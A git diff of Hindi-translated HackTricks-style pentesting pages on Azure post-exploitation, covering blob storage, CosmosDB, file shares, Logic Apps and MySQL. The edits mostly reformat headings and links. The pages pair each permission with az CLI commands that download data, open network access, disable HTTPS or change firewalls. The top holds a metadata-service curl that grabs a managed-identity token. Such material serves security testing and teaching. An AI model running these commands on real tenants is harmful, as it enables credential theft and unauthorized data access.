इसके अतिरिक्त, उदाहरण विवरण और टोकन के लिए Azure की मेटाडेटा सेवा को क्वेरी करें:
-{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 026928624..b0448f57e 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -10,9 +10,9 @@
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
-इस अनुमति के साथ एक प्रिंसिपल कंटेनर के अंदर **सूचिबद्ध** करने में सक्षम होगा और **डाउनलोड** करने में सक्षम होगा जो **संवेदनशील जानकारी** हो सकती है।
+इस अनुमति के साथ एक प्रिंसिपल कंटेनर के अंदर के ब्लॉब्स (फाइलों) को **सूचीबद्ध** करने और **डाउनलोड** करने में सक्षम होगा, जो **संवेदनशील जानकारी** हो सकती है।
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -24,9 +24,9 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
-इस अनुमति के साथ एक प्रमुख **कंटेनरों में फ़ाइलें लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुँचाने या यहाँ तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, एक ब्लॉब में संग्रहीत कुछ कोड को ओवरराइट करना):
+इस अनुमति के साथ एक प्रिंसिपल **कंटेनरों में फ़ाइलें लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, एक ब्लॉब में संग्रहीत कुछ कोड को ओवरराइट करना):
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index 2665f33c6..c1671ab4b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -1,31 +1,25 @@
-# Az - CosmosDB पोस्ट एक्सप्लोइटेशन
+# Az - CosmosDB Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-## CosmosDB पोस्ट एक्सप्लोइटेशन
-SQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
+## CosmosDB Post Exploitation
+SQL Database के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
इस अनुमति के साथ, आप Azure Cosmos DB खातों को बना या अपडेट कर सकते हैं। इसमें खाता-स्तरीय सेटिंग्स को संशोधित करना, क्षेत्रों को जोड़ना या हटाना, स्थिरता स्तरों को बदलना, और मल्टी-क्षेत्र लेखन जैसी सुविधाओं को सक्षम या अक्षम करना शामिल है।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के SQL डेटाबेस के भीतर कंटेनर (संग्रह) बना या संशोधित कर सकते हैं। कंटेनर डेटा संग्रहीत करने के लिए उपयोग किए जाते हैं, और उनमें किए गए परिवर्तन डेटाबेस की संरचना और पहुंच पैटर्न को प्रभावित कर सकते हैं।
-
-{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर SQL डेटाबेस बना या संशोधित कर सकते हैं। यह डेटाबेस संरचना को प्रबंधित करने और खाते में नए डेटाबेस जोड़ने की अनुमति देता है। जबकि यह अनुमति डेटाबेस निर्माण को सक्षम बनाती है, अनुचित या अनधिकृत उपयोग अनावश्यक संसाधन खपत, बढ़ी हुई लागत, या परिचालन अक्षमताओं का परिणाम हो सकता है।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
-
-इस अनुमति के साथ, आप Azure Cosmos DB डेटाबेस खाते के लिए क्षेत्रों की फेलओवर प्राथमिकता बदल सकते हैं। यह क्रिया निर्धारित करती है कि फेलओवर घटना के दौरान क्षेत्र प्राथमिक कैसे बनते हैं। इस अनुमति का अनुचित उपयोग डेटाबेस की उच्च उपलब्धता को बाधित कर सकता है या अनपेक्षित संचालनात्मक प्रभावों का कारण बन सकता है।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप Azure Cosmos DB डेटाबेस खाते के लिए क्षेत्रों की फेलओवर प्राथमिकता बदल सकते हैं। यह क्रिया निर्धारित करती है कि फेलओवर घटना के दौरान क्षेत्रों का प्राथमिकता क्रम क्या होगा। इस अनुमति का अनुचित उपयोग डेटाबेस की उच्च उपलब्धता को बाधित कर सकता है या अनपेक्षित संचालनात्मक प्रभावों का कारण बन सकता है।
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक या द्वितीयक कुंजियों को पुनः उत्पन्न कर सकते हैं। इसका उपयोग आमतौर पर सुरक्षा को बढ़ाने के लिए पुराने कुंजियों को बदलने के लिए किया जाता है, लेकिन यह उन सेवाओं या अनुप्रयोगों के लिए पहुंच को बाधित कर सकता है जो वर्तमान कुंजियों पर निर्भर करते हैं।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको संचालन के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर स्टोर किए गए प्रक्रियाओं को बना या संशोधित कर सकते हैं। Cosmos DB में स्टोर की गई प्रक्रियाएँ सर्वर-साइड जावास्क्रिप्ट फ़ंक्शन हैं जो आपको डेटा को संसाधित करने या सीधे डेटाबेस के भीतर संचालन करने के लिए लॉजिक को संलग्न करने की अनुमति देती हैं।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको सम्मिलन, अद्यतन, या हटाने जैसी क्रियाओं के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
इस अनुमति के साथ, आप Azure Cosmos DB खाते में MongoDB डेटाबेस के भीतर संग्रह बना या संशोधित कर सकते हैं। संग्रह दस्तावेज़ों को संग्रहीत करने और डेटा के लिए संरचना और विभाजन को परिभाषित करने के लिए उपयोग किए जाते हैं।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB डेटाबेस बना सकते हैं। यह संग्रह और दस्तावेज़ों को स्टोर और प्रबंधित करने के लिए नए डेटाबेस को प्रोविजन करने की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB भूमिका परिभाषाएँ बना सकते हैं। यह MongoDB उपयोगकर्ताओं के लिए विशिष्ट अनुमतियों के साथ कस्टम भूमिकाएँ परिभाषित करने की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
-इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB उपयोगकर्ता परिभाषाएँ बना सकते हैं। यह MongoDB डेटाबेसों के लिए विशिष्ट भूमिकाओं और पहुँच स्तरों के साथ उपयोगकर्ताओं की प्रोविजनिंग की अनुमति देता है।
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
+इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB उपयोगकर्ता परिभाषाएँ बना सकते हैं। यह MongoDB डेटाबेस के लिए विशिष्ट भूमिकाओं और पहुँच स्तरों के साथ उपयोगकर्ताओं की प्रोविजनिंग की अनुमति देता है।
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index e6d0e4dff..a0f818789 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -1,18 +1,18 @@
-# Az - फ़ाइल साझा पोस्ट शोषण
+# Az - File Share Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-फ़ाइल साझा पोस्ट शोषण
+File Share Post Exploitation
-फ़ाइल साझा के बारे में अधिक जानकारी के लिए देखें:
+फाइल शेयर के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
-इस अनुमति के साथ एक प्रमुख फ़ाइल साझा के अंदर फ़ाइलों को **सूचीबद्ध** करने और **डाउनलोड** करने में सक्षम होगा, जो **संवेदनशील जानकारी** हो सकती हैं।
+इस अनुमति के साथ एक प्रिंसिपल **सूची** बना सकेगा फाइल शेयर के अंदर की फाइलों की और **डाउनलोड** कर सकेगा फाइलें जो **संवेदनशील जानकारी** हो सकती हैं।
```bash
# List files inside an azure file share
az storage file list \
@@ -28,9 +28,9 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
-इस अनुमति के साथ एक प्रमुख **फाइल शेयर में फ़ाइलों को लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, फाइल शेयर में संग्रहीत कुछ कोड को ओवरराइट करना):
+इस अनुमति के साथ एक प्रिंसिपल **फाइल शेयर में फ़ाइलों को लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, फाइल शेयर में संग्रहीत कुछ कोड को ओवरराइट करना):
```bash
az storage blob upload \
--account-name \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index 3a3d93432..4fdc876ad 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -5,14 +5,12 @@
## Logic Apps Database Post Exploitation
Logic apps के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
इन अनुमतियों के साथ, आप Logic App वर्कफ़्लो को संशोधित कर सकते हैं और उनकी पहचान प्रबंधित कर सकते हैं। विशेष रूप से, आप वर्कफ़्लो के लिए सिस्टम-निर्धारित और उपयोगकर्ता-निर्धारित प्रबंधित पहचान को असाइन या हटा सकते हैं, जो Logic App को स्पष्ट क्रेडेंशियल के बिना अन्य Azure संसाधनों को प्रमाणित और एक्सेस करने की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
इन अनुमतियों के साथ, आप एक App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है।
-
-{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
-इस अनुमति के साथ, आप एक वेब ऐप को शुरू/रोक/पुनः प्रारंभ कर सकते हैं, जिसमें एक ऐप सेवा योजना पर होस्ट किए गए लॉजिक ऐप शामिल हैं। यह क्रिया सुनिश्चित करती है कि एक पूर्व में रोका गया ऐप ऑनलाइन लाया जाए और इसकी कार्यक्षमता फिर से शुरू हो। यह कार्यप्रवाहों को बाधित कर सकता है, अनपेक्षित संचालन को ट्रिगर कर सकता है, या लॉजिक ऐप्स को अप्रत्याशित रूप से शुरू, रोकने या पुनः प्रारंभ करने के कारण डाउनटाइम का कारण बन सकता है।
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
+इस अनुमति के साथ, आप एक वेब ऐप को शुरू/रोक/पुनः प्रारंभ कर सकते हैं, जिसमें App Service Plan पर होस्ट किए गए Logic Apps शामिल हैं। यह क्रिया सुनिश्चित करती है कि एक पूर्व में रोका गया ऐप ऑनलाइन लाया जाए और इसकी कार्यक्षमता फिर से शुरू हो। यह कार्यप्रवाहों को बाधित कर सकता है, अनपेक्षित संचालन को ट्रिगर कर सकता है, या Logic Apps को अप्रत्याशित रूप से शुरू, रोकने या पुनः प्रारंभ करने के कारण डाउनटाइम का कारण बन सकता है।
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
-
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
इस अनुमति के साथ, आप वेब ऐप्स के लिए सेटिंग्स को कॉन्फ़िगर या संशोधित कर सकते हैं, जिसमें App Service Plan पर होस्ट किए गए Logic Apps शामिल हैं। यह ऐप सेटिंग्स, कनेक्शन स्ट्रिंग्स, प्रमाणीकरण कॉन्फ़िगरेशन, और अधिक में परिवर्तन की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
-इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खातों को बना, अपडेट या हटा सकते हैं। इसमें इंटीग्रेशन खाता-स्तरीय कॉन्फ़िगरेशन जैसे मानचित्र, स्कीमा, भागीदार, समझौते, और अधिक का प्रबंधन करना शामिल है।
-
-{% code overflow="wrap" %}
+### `Microsoft.Logic/integrationAccounts/write`
+इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खातों को बना, अपडेट या हटा सकते हैं। इसमें इंटीग्रेशन खाता-स्तरीय कॉन्फ़िगरेशन जैसे मानचित्र, स्कीमा, भागीदार, समझौते और अधिक का प्रबंधन करना शामिल है।
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
इस अनुमति के साथ, आप Azure Logic Apps एकीकरण खाते के भीतर बैच कॉन्फ़िगरेशन बना या संशोधित कर सकते हैं। बैच कॉन्फ़िगरेशन यह परिभाषित करते हैं कि Logic Apps बैच प्रोसेसिंग के लिए आने वाले संदेशों को कैसे संसाधित और समूहित करते हैं।
-
-{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
-इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जिससे विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण संभव होता है।
-
-{% code overflow="wrap" %}
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
+इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जो विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण को सक्षम बनाता है।
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
-इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय से व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
-
-{% code overflow="wrap" %}
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
+इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर सत्र बना या संशोधित कर सकते हैं। सत्र B2B वर्कफ़्लो में संदेशों को समूहित करने और एक निर्धारित अवधि के भीतर संबंधित लेनदेन को ट्रैक करने के लिए उपयोग किए जाते हैं।
-
-{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group \
@@ -147,8 +112,6 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
इन अनुमतियों के साथ आप Azure Logic Apps से संबंधित संसाधनों को हटा सकते हैं
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index 83f3d962a..142704bdd 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -1,58 +1,44 @@
-# Az - MySQL पोस्ट एक्सप्लॉइटेशन
+# Az - MySQL Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-## MySQL डेटाबेस पोस्ट एक्सप्लॉइटेशन
-MySQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
+## MySQL Database Post Exploitation
+MySQL Database के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
-इस अनुमति के साथ, आप Azure पर MySQL फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को ऑन-डिमांड बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए Advanced Threat Protection (ATP) सेटिंग्स को कॉन्फ़िगर या अपडेट कर सकते हैं। यह असामान्य गतिविधियों और संभावित खतरों का पता लगाने और प्रतिक्रिया देने के लिए डिज़ाइन की गई सुरक्षा सुविधाओं को सक्षम या अक्षम करने की अनुमति देता है।
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server उदाहरण के लिए फ़ायरवॉल नियम बना या संशोधित कर सकते हैं। यह नियंत्रित करता है कि कौन से IP पते या रेंज सर्वर तक पहुँच सकते हैं। इस अनुमति का अनधिकृत या अनुचित उपयोग सर्वर को अवांछित या दुर्भावनापूर्ण पहुँच के लिए उजागर कर सकता है।
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
-
